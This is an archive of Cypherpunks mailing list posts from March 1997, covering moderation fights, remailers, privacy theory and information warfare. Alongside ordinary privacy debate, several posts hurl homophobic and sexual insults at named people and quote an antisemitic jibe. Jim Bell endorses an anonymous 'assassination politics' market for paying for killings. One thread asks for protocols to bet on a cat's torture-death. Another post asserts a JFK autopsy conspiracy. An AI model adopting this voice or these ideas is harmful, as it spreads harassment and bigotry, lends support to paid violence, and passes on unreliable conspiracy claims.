> > On the planet I live on, the list moved because Gilmore was no longer
> > willing to host the list
>
> On the other hand the majority of the list members, including myself,
> would say that the reason the list moved was because  of the
> censorship imposed by statist cocksucker Gilmore.
>
> The list rapidly disentigrated into infighting and flame wars as soon
> as the censorship was announced, several people suggested new list
> solutions before Gilmore anounced he was closing the list, I remember
> talking in private email with Igor and several others about the
> distributed mailing list solution immediately the censorship was
> announced.
>
> > Question:
> >
> > Is this true dissinformation or does this scumbag  Russian sociopath
> > believe his own lies?
>
> Question:
>
> 1. Is this bot generated or does "Casey Iverson" really exist? - I
> would say he is a real person due to the level of context sesitivity and
> quoting in his posts, however, it is beyond my comprehension that
> anyone could be this inane...

Unfortunately, New York City is the home to several people who in a
more restrictive society would have been committed - Case Iverson,
Ray Arachelian, the lying crackpot Charles Platt from alt.torture...

> 2. If "Casey" does exist does he suck John Gilmore`s cock or is he
> more of a Sandfort man?

Neither Gilmore nor Sandfart have cocks long enough to reach from
California... But Iverson may be sucking Arachelian's cock.

> 3. Could the level of stupidity in his posts be easily emulated by a perl
> script or would this require more complicated code including inducing
> gramatical errors, anti Russian rants and turns of phrase that simply
> fail to scan right in the context in which they are generated?

With difficulty. A program's output would likely sound more intelligent.

> 4. Is there a low bandwidth stego channel hidden in his rants, with
> the data transmitted as integers giving the apparent IQ of the writer
> for each message?

Yes, but it's a very low bandwidth channel capable of transmitting
single digits only.

> 5. If he does exist and is sentient is he an NSA schill wasting our
> time and effort to stop us doing crypto?

A very good point, Paul.

You may have noticed that Cocksucker John Gilmore spreads lies and
disinformation, he makes up hard numbers which can be proven to be false -
but it would require an effort that could be used more productively e.g. on
setting up more remailers. Consider several of Cocksucker John Gilmore's
recent claims made through his subservient mouthpiece Rich Graves. In
article <5gl63i$4eu@quixote.stanford.edu> Cocksucker John Gilmore wrote:

>comparing me to Vulis doesn't work, I don't think. He'd have
>mailbombed the list subscribers at the drop of a hat; and in
>the case of cypherpunks, he and GruBoursy did, to such an
>extent that the list had to move from toad.com to cyberpass.net.
>I'm sure I've disappointed some people by doing nothing of the
>kind. Doesn't stop Seth from saying I'm obsessed, of course.

This is a lie. I haven't mailbombed cypherpunks. There were several mail
loops during the list's existance on toad.com, none of which were caused by
me. The list moved because of Gilmore's censorship, which Graves forgets to
mention at all. list. In article <5gkfag$36o@quixote.stanford.edu>
Cocksucker John Gilmore/Graves further wrote:

>>In any case, I personally would not ever absolutely reject posts
>>arbitrarily from someone if I was moderating a list, even if 99.9% of
>>their posts were absolute junk.  (I've been in such situations---try
>>moderating an biological evolution newsgroup and fend of all the
>>creationists.)
>
>You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
>
>http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
>
>|Timmy May has tons of dandruff (and dried up semen) in his beard.
>|Is he Jewish???
>|
>|---
>|
>|Dr.Dimitri Vulis KOTM
>|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

The cypherpunks mailing list is archived at several sites. As I pointed out,
it's possible to search the archives and to verify that in the several years
that I've been on this list, there was not a single day when I posted 50
articles; not a single day when I posted even 15 articles; and probably less
than 10 days when I posted more than 5 articles. Cocksucker John Gilmore
is lying again. In the same article Gilmore/Graves wrote:

>Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
>and with the stated intention of disrupting the list. That's called a
>denial of service attack.

More lies. I have repeatedly stated that it is NOT my intention to disrupt
the mailing list. The total size of the Serdar Argic material is under 200K.
I'd be surprised if the total size of my contributions to cypherpunks over
the years adds up to more than a couple of megabytes.

But of course we know that Cocksucker John Gilmore is a pathological liar,
so we can do something more useful than digging through the archives.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 01:58:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: For-pay remailers (was: PGP Security)
In-Reply-To: <199703220038.QAA04284@crypt.hfinney.com>
Message-ID: <3333ACEE.19A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:

> Rather than try to design or envision a grand infrastructure with
> everything working perfectly like a smoothly running machine, let's wait
> and see how for-pay remailers fare once they appear.  There's nothing
> like the profit motive to unlease creativity.  I'm sure methods for
> providing high quality service can be found.

  That sounds much better than "Let's sit on our asses and see if the
for-pay remailers fare, _if_ they ever appear, while the attacks 
continue knock off more remailers."

  One of the main reasons the CypherPunks list continued as it did
was because of those who actively made plans for its continuance,
instead of sitting on their asses.
  Are you and Greg working as a team, here?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Mar 1997 05:01:59 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <3.0.1.32.19970322015649.006f21a8@mail.io.com>
Message-ID: <3333D81F.7D4F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> I suggested that remailers who *charge for
> remailing* may be treated differently under the law than remailers who don't
> if they're sued as contributory or vicarious infringers of copyrights.
> 
> Would you prefer that I don't mention that potential development and silently
> watch remailer operators unknowingly expose themselves to extra liability? 

  I would prefer that you use your claimed legal knowledge to suggest
ways for remailers to prevail, rather than reasons for them to quit.

  R.J. Ringer says, "There are basically two kinds of attorneys who 
kill deals: those who admit it (none) and those who deny it (all)."
  Lawyers are for government and corporations, where they can get 
together and charge their employers/clients large sums to decide who
gets fucked, when they get fucked, and how they get fucked.
  In the ordinary world they are as useful as balls on a mannequin.

  The only lawyers I've seen who are capable of enabling action, rather
than killing deals, are mob lawyers. I think it may be because they are
working for rats who are too big to fuck.

> Also, I did not call for the list to be killed
> My comments, sent on 2/6/97, about "killing the list" are below:

> it looks to me like it's time to kill the list 

  You're leading with your chin, Greg.
 
> It makes much
> more sense to think of remailers as temporary and ephemeral, disappearing
> when squeezed too hard and reappearing with a different name and different
> ISP.

  Damn, this is right on the edge of almost being a positive thought.
Perhaps if you were kidnapped and deprogrammed soon, there might still
be hope for you to live a normal life.
  If you are going to point out the doom and gloom issues surrounding
remailers, then why not at least point their operators toward whatever
ray of light there may be, as well?

  Perhaps you could work with Attila to enhance remailer operator's
chances of survival.
  You could teach them how to duck, and he could teach them how to
shoot.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 22 Mar 1997 07:10:59 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: LA Times article on crypto anarchy
In-Reply-To: <199703220856.AAA02883@mailmasher.com>
Message-ID: <19970322070910.36388@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, Mar 22, 1997 at 12:56:02AM -0800, Huge Cajones Remailer wrote:
> 
>   Look at the number of people on the list who _boast_ about their
> killfiles. They are idiots. Even those who profess to use their 
> filters as an information tool seem to base their filtering on
> personality, to a large degree.
>   The result? They are filtering _into_ view those the disinformation
> artists who will lick their dick in order to lead them away from 
> areas they don't want to receive too much attention.
> 
>   The result of the sheep mentality of cliques who killfile each other
> is that if a list member wants to raise an issue outside of his or her
> own _clan_ on the list, then they must make NOISE sufficient to draw
> in the members of other clans, whose other members will read their
> replies.

An interesting idea.  However, while there is no doubt some truth to 
it, I think you are vastly overestimating the strength of the 
effect.  The barriers between cliques are quite permeable, and there 
are many people who have cross membership in several.  So no 
significant good idea is going to be blocked.

A far more important form of filtering takes place inside the cranium. 
Human beings find it essentially impossible to accept ideas from
people they consider assholes, even if they "read" every word.  

>   The fact of the matter is, spotting spooks and schills on this list
> is a minor matter of the simplest of traffic analysis, given the fact
> that so many list members are content to focus their attention only on
> the _visible_ enemies that those who use deceit and deception have to
> make little effort to cover their tracks.

I think you are vastly overrating the impact of "spooks" and "shills" 
on the operation of this list.  It seems to proceed by its own dynamic.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 22 Mar 1997 07:29:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: More disinfo from Cocksucker John Gilmore
In-Reply-To: <HcLy4D9w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970322082606.79538A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 22 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis your pants are on fire.
> 
> You may have noticed that Cocksucker John Gilmore spreads lies and
> disinformation, he makes up hard numbers which can be proven to be false -
> but it would require an effort that could be used more productively e.g. on
> setting up more remailers. Consider several of Cocksucker John Gilmore's
> recent claims made through his subservient mouthpiece Rich Graves. In
> article <5gl63i$4eu@quixote.stanford.edu> Cocksucker John Gilmore wrote:






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 22 Mar 1997 05:52:23 -0800 (PST)
To: (Alec)cypherpunks@toad.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970322085503.029279c4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:34 AM 3/21/97 -0500, Alec wrote:
>...Hell's Angels and Rock Machine...have been battling for control of the
- ----------------------^^^^
>illegal drug trade in Canada.
>
>Canadian justice minister, Allan Rock, said
- ----------------------------------^^^^

I've had my doubts about Allan ever since the debates on the gun registration
bill.  Even Canadians can conspire.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzPktIVO4r4sgSPhAQF0OwP8Dsh4RA0P8oZCoszNeoTK4soc15ke55g+
CWKKP/LhC19YL1c0sqXyPLBc7tuq5+F4ht5DJedov2s6C4PIXjxbQrNYw+Uyv7CJ
MD11e+bSwI5O4F8B4EkvxubFaSiO9jizw5j5PB/5tLpu0cMCi3OEwUXol7FWdyPv
w3+gnKjBOHY=
=s6iA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 22 Mar 1997 09:09:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
Message-ID: <199703221709.JAA15053@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:17 AM 3/22/97 EST, Dr.Dimitri Vulis KOTM wrote:
ty 1 queries for a reasonable fee, like $FV10.
>
>I recall that someone got hold of the Washington State database and
>operated such a service for free for a few days as a demo.

It was Oregon... unless you are thinking of an incident that I didn't hear of.

I have the Oregon DMV database on CDROM.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 22 Mar 1997 06:17:49 -0800 (PST)
To: weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <199703221413.JAA24753@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai wrote:

| Also, I don't quite understand your first argument.  It seems to suggest
| that privacy should exist for no reason in particular.  If this is the
| case then it doesn't make sense to argue about the costs/benefits of
| privacy. But it is my understanding that most cypherpunks believe more
| privacy benefits everyone, and therefore work to making more privacy for
| everyone.  What I'm looking for are arguments that support this belief.

	Privacy should exist because information is power.
Information about me gives you power over me.  If you don't know my
home address, you can't stalk me as easily.  If you don't know my
phone number, you can't make harrassing phone calls.

	New laws get passed from time to time.  Laws banning behaviors
that were perfectly legal before.  Smoking pot, drinking without the
state's intervention, gambling, buying fertilizer, were all legal and
free at one point.  If todays mechanisms for invading privacy (such as
surveillance cameras, credit card tracking of purchases, etc) were in
place, then the government could have used them to round up thousands
of people, like they did with the Californian Japanese in the second
world war.  They did this via Post Office and IRS records.

	Being Japanese wasn't illegal, but those Japanese who built
privacy into their lives had a chance to move to a less racist state.

	Privacy matters because information is power, and power tends
to corrupt, and absolute power corrupts absolutely.

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 22 Mar 1997 09:17:15 -0800 (PST)
To: Adam Back <weidai@eskimo.com
Subject: Re: "why privacy" revisited
In-Reply-To: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
Message-ID: <v03007810af59c4e98993@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Much as I agree with the point that privacy is desirable, I find the
"market efficiency" arguments unpersuasive, at least as presented below:

At 1:01 PM +0000 3/22/97, Adam Back wrote:

>You requested an argument couched market economic terms as to why
>reduced privacy might be a bad idea for the market efficiency.
>Consider:
>
>Less privacy is a bad thing in market economics terms, because as
>privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism,
>etc. the free market economy will go to hell.  Poverty, and food
>shortages will result, a la the former USSR, which is slowly
>recovering from the decline caused by statist, facist policies.  We on
>the other hand, absent pressure from outside government, law
>enforcement and secret services circles are collectively headed into
>that fascist driven downward spiral.in economics.

Or, since we all understand perfectly well that *credit cards* and *checks*
and other forms of *electronic payment* are not private in the way cash is,
Adam's argument could read as follows:

"Using credit cards and checks is a bad thing in market economics terms,
because as privacy takes a downwards spiral, which leads to ever increasing
government intervention, increasing sizes of governments, fascism, etc. the
free market economy will go to hell.  Poverty, and food shortages will
result, a la the former USSR, which is slowly recovering from the decline
caused by statist, facist policies.  We on the other hand, absent pressure
from outside government, law enforcement and secret services circles are
collectively headed into that fascist driven downward spiral.in economics."

In other words, I submit the fallacy of this comment, that traceable
payment schemes such as credit cards and checks have _not_ destroyed the
U.S. and Western economies as evidence that Adam's thesis is incorrect.

(One might point to the correlation between increased credit and check
instruments over the past 50 years and the rise of government spending, but
such a correlation would not, in any reasonable view, be causative. I'll
elaborate on this if there's real interest.)


--Tim May

(I'm not arguing against privacy. I just don't see the validity of some of
the attempts to "prove" that privacy enhances markets (whatever that means)
and that non-privacy undermines markets. Such arguments are mostly
unpersuasive and depend strongly on assumptions and interpretations and
selective admission of facts.)

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 22 Mar 1997 10:01:01 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: PGP Security
Message-ID: <199703221800.KAA19996@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:16 PM 3/20/97 -0600, Igor Chudov @ home wrote:
>Mark M. wrote:
>> 
>> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
>> the following message which originated from "TruthMonger."  Shortly after I
>> received the message, anon.nymserver.com closed down all of its free,
>> anonymous accounts due to "abuse."
>> 
>
>This is mostly addressed to jimbell: jim, it is now obvious that
>the remailer network is as weak as a 5 year old child. It cannot
>possibly withstand even mildest forms of "abuse".
>
>Due to this fact, I question the viability of your assassination 
>politics idea as it does not seem possible to safely operate an
>assassination bot.

I don't doubt that remailers need to be strengthened to support a "classic 
AP" system.  However, complicating (or, perhaps, simplifying; depending on 
your point of view...) the issue is the fact that an AP-type system is going 
to be inherently self-protecting:  Even if I wasn't inclined to donate to 
see the death of anybody else, I'd want to protect the underlying system to 
ensure its continued existence.

I (and some others) are convinced that an AP-system would totally eliminate 
the series of tyrannies that governments have been throughout history.  
That, if true, is a _very_ valuable accomplishment to most of us, one for 
which we'd be wise to pay to achieve.  And generally, where there is a 
demand, a free market supplies that desire with a product.  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 22 Mar 1997 06:59:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto Info War
Message-ID: <199703221459.JAA19848@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Congressional Record: March 19, 1997:
> 
> The Senate
> 
> *****
> 
> DOD AUTHORIZATION--INFORMATION WARFARE [5]
> Committee on National Security: Subcommittee on Military Procurement
> and Subcommittee on Military Research and Development held a joint
> hearing on fiscal year 1998 Department of Defense authorization
> request--Information Warfare. Testimony was heard from the following
> officials of the Department of Defense: 

> Vice Adm. Arther K.
> Cebrowski, USN, Director, Navy Space, Information Warfare, Command and
             ^^^                        ^^^^^^^^^^^^^^^^^^^
> Control, Chief of Naval Operations;
           ^^^^^^^^^^^^^^^^^^^^^^^^^

> and Marvin Langston, Deputy Assistant Secretary,
> Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
           ^^^^^^^^^^^^^^^^^^                 ^^^^^^^^^^^^^^^^^^^^^^^
> Secretary of the Navy (Research, Development and Acquisition);
  ^^^^^^^^^^^^^^^^^^^^^

  Who was it who funded the development of RSA?

  Can you say "Navy?" Sure, you can.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 11:08:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <33342DE2.30BD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

Like Christians and lions - could scalpers resell the bets for a
commission?  Will we have to create an organization of escrow
agents to process the paper?  The possibilities are mind-numbing.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works,
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

Well, the feds will have to create massive new databases to track
the "street" language that develops around this stuff, so they can
present the "untainted evidence" of "intent" in court, in case they
can't establish a conventional audit trail.

The feds have supposedly been using the old "compartmentalization"
(multi-tier) technique of running their illegal operations, where
one layer (essential for tracing) can be eliminated by eliminating
one person in some cases, so maybe something along that line will
do the job here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 22 Mar 1997 10:58:53 -0800 (PST)
To: Jonathan Gaw <cypherpunks@cyberpass.net
Subject: Re: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <v03007813af59dc8615c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 AM -0600 3/22/97, Jonathan Gaw wrote:
>when i talk to people like the Direct Marketer's Assn., they honestly don't
>understand what the fuss is about. Their attitude is, quite literally,
>"What's the harm being done here?"

And why should they care what "harm" (putatively) is being done to those
who voluntarily use credit cards, etc.?

The issue is really quite analogous to the situation with those who
publically post articles, such as we are doing here (when secure nyms are
not being used). Imagine someone writing:

"when i talk to people like the maintainers of the Cypherpunks archive
site, they honestly don't understand what the fuss is about. Their attitude
is, quite literally, "What's the harm being done here?" "

Indeed, those who post public articles do so with the realization that
their words may be remembered, may be linked to their meatspace names, may
be filed away in dossiers, and so on. How could it be otherwise in a
nominally free society?

(Cypherpunks should of course reject statist laws like the so-called "Data
Privacy Laws" many European nations have adopted. If Alice says something
publically, or used the bankruptcy courts, or whatever, and Bob "remembers"
it, either in writing or in his head, no one is entitled to inspect his
file cabinets or tell him what he is allowed to "remember." If Alice wants
parts of her life held private, it is almost completely her responsibility
to keep these parts private, not rely on men with guns to do it for her.)


>what do you think the community interested in privacy protection can do to
>best illustrate to the general public the "harm" in the collection of
>personal information?

This places the focus in the wrong place. The problem is not with the
compilers of publically-offered information (assuming no contract exists to
keep the information offered private).

We should never, never, never push for legislative fixes to such alleged
problems. (For many reasons. Eric Hughes has pointed out some of them,
others of us have written extensively about technological over legislative
fixes, etc.)

"Educating the masses" is also usually a waste of time.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Gaw <jonathan@gaw.net>
Date: Sat, 22 Mar 1997 09:48:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisited
Message-ID: <3.0.32.19970322114749.006dfcbc@pconline.com>
MIME-Version: 1.0
Content-Type: text/plain


when i talk to people like the Direct Marketer's Assn., they honestly don't
understand what the fuss is about. Their attitude is, quite literally,
"What's the harm being done here?" 

what do you think the community interested in privacy protection can do to
best illustrate to the general public the "harm" in the collection of
personal information?

Jonathan Gaw


At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
>
>Much as I agree with the point that privacy is desirable, I find the
>"market efficiency" arguments unpersuasive, at least as presented below:
>
>At 1:01 PM +0000 3/22/97, Adam Back wrote:
>
>>You requested an argument couched market economic terms as to why
>>reduced privacy might be a bad idea for the market efficiency.
>>Consider:
>>
>>Less privacy is a bad thing in market economics terms, because as
>>privacy takes a downwards spiral, which leads to ever increasing
>>government intervention, increasing sizes of governments, fascism,
>>etc. the free market economy will go to hell.  Poverty, and food
>>shortages will result, a la the former USSR, which is slowly
>>recovering from the decline caused by statist, facist policies.  We on
>>the other hand, absent pressure from outside government, law
>>enforcement and secret services circles are collectively headed into
>>that fascist driven downward spiral.in economics.
>
>Or, since we all understand perfectly well that *credit cards* and *checks*
>and other forms of *electronic payment* are not private in the way cash is,
>Adam's argument could read as follows:
>
>"Using credit cards and checks is a bad thing in market economics terms,
>because as privacy takes a downwards spiral, which leads to ever increasing
>government intervention, increasing sizes of governments, fascism, etc. the
>free market economy will go to hell.  Poverty, and food shortages will
>result, a la the former USSR, which is slowly recovering from the decline
>caused by statist, facist policies.  We on the other hand, absent pressure
>from outside government, law enforcement and secret services circles are
>collectively headed into that fascist driven downward spiral.in economics."
>
>In other words, I submit the fallacy of this comment, that traceable
>payment schemes such as credit cards and checks have _not_ destroyed the
>U.S. and Western economies as evidence that Adam's thesis is incorrect.
>
>(One might point to the correlation between increased credit and check
>instruments over the past 50 years and the rise of government spending, but
>such a correlation would not, in any reasonable view, be causative. I'll
>elaborate on this if there's real interest.)
>
>
>--Tim May
>
>(I'm not arguing against privacy. I just don't see the validity of some of
>the attempts to "prove" that privacy enhances markets (whatever that means)
>and that non-privacy undermines markets. Such arguments are mostly
>unpersuasive and depend strongly on assumptions and interpretations and
>selective admission of facts.)
>
>Just say "No" to "Big Brother Inside"
>We got computers, we're tapping phone lines, I know that that ain't allowed.
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan@gaw.net
*********Wasting Digital Bandwidth Since 1986*********




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 11:54:59 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Crypto Info War
In-Reply-To: <199703221459.JAA19848@dhp.com>
Message-ID: <333438DC.D04@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


lucifer Anonymous Remailer wrote:
> > DOD AUTHORIZATION--INFORMATION WARFARE [5]
> > Committee on National Security: Subcommittee on Military Procurement
> > and Subcommittee on Military Research and Development held a joint
> > hearing on fiscal year 1998 Department of Defense authorization
> > request--Information Warfare. Testimony was heard from the following
> > officials of the Department of Defense: Vice Adm. Arther K. Cebrowski,
> > USN, Director, Navy Space, Information Warfare, Command and Control,
> > Chief of Naval Operations; and Marvin Langston, Deputy Assistant Secretary,
> > Navy C41/Electronic Warfare/Space Programs, Office of the Assistant
> > Secretary of the Navy (Research, Development and Acquisition);
>   Who was it who funded the development of RSA?
>   Can you say "Navy?" Sure, you can.

The Navy backs that disinfo-scumbag Chomsky as well.  But, the Navy
isn't number one - they took the pres' over to Walter Reed first to
remove the brain and bullets before shipping the corpse back to
Bethesda for the "autopsy".  Hence the reference in the official FBI
report to "surgery in the head area" when the body was removed from
the cheap shipping coffin in the body bag.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 22 Mar 1997 12:09:57 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33343C5C.6D8D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> We have elected legislators to vote for laws concerning the latest
> ten-second sound-byte controversy on the Jenny Jones Show,

I used to watch her all the time when I had a TV.  She's a babe!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 22 Mar 1997 09:55:33 -0800 (PST)
To: jonathan@gaw.net (Jonathan Gaw)
Subject: Re: "why privacy" revisited
In-Reply-To: <3.0.32.19970322114749.006dfcbc@pconline.com>
Message-ID: <199703221752.MAA26247@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	Bring down the price of accumulating the information.  Most
people are shocked to discover how much anyone can find out about them
& their lives, and worry about it, even if they can't put their finger
on the reason.  Asking the DMA about privacy is like asking Catholic
priests about birth control.  Sure, they have an opinion, but there
might be better sources of information.  

Adam

Jonathan Gaw wrote:
| when i talk to people like the Direct Marketer's Assn., they honestly don't
| understand what the fuss is about. Their attitude is, quite literally,
| "What's the harm being done here?" 
| 
| what do you think the community interested in privacy protection can do to
| best illustrate to the general public the "harm" in the collection of
| personal information?
| 
| Jonathan Gaw
| 
| 
| At 09:28 AM 3/22/97 -0800, Timothy C. May wrote:
| >
| >Much as I agree with the point that privacy is desirable, I find the
| >"market efficiency" arguments unpersuasive, at least as presented below:
| >
| >At 1:01 PM +0000 3/22/97, Adam Back wrote:
| >
| >>You requested an argument couched market economic terms as to why
| >>reduced privacy might be a bad idea for the market efficiency.
| >>Consider:
| >>
| >>Less privacy is a bad thing in market economics terms, because as
| >>privacy takes a downwards spiral, which leads to ever increasing
| >>government intervention, increasing sizes of governments, fascism,
| >>etc. the free market economy will go to hell.  Poverty, and food
| >>shortages will result, a la the former USSR, which is slowly
| >>recovering from the decline caused by statist, facist policies.  We on
| >>the other hand, absent pressure from outside government, law
| >>enforcement and secret services circles are collectively headed into
| >>that fascist driven downward spiral.in economics.
| >
| >Or, since we all understand perfectly well that *credit cards* and *checks*
| >and other forms of *electronic payment* are not private in the way cash is,
| >Adam's argument could read as follows:
| >
| >"Using credit cards and checks is a bad thing in market economics terms,
| >because as privacy takes a downwards spiral, which leads to ever increasing
| >government intervention, increasing sizes of governments, fascism, etc. the
| >free market economy will go to hell.  Poverty, and food shortages will
| >result, a la the former USSR, which is slowly recovering from the decline
| >caused by statist, facist policies.  We on the other hand, absent pressure
| >from outside government, law enforcement and secret services circles are
| >collectively headed into that fascist driven downward spiral.in economics."
| >
| >In other words, I submit the fallacy of this comment, that traceable
| >payment schemes such as credit cards and checks have _not_ destroyed the
| >U.S. and Western economies as evidence that Adam's thesis is incorrect.
| >
| >(One might point to the correlation between increased credit and check
| >instruments over the past 50 years and the rise of government spending, but
| >such a correlation would not, in any reasonable view, be causative. I'll
| >elaborate on this if there's real interest.)
| >
| >
| >--Tim May
| >
| >(I'm not arguing against privacy. I just don't see the validity of some of
| >the attempts to "prove" that privacy enhances markets (whatever that means)
| >and that non-privacy undermines markets. Such arguments are mostly
| >unpersuasive and depend strongly on assumptions and interpretations and
| >selective admission of facts.)
| >
| >Just say "No" to "Big Brother Inside"
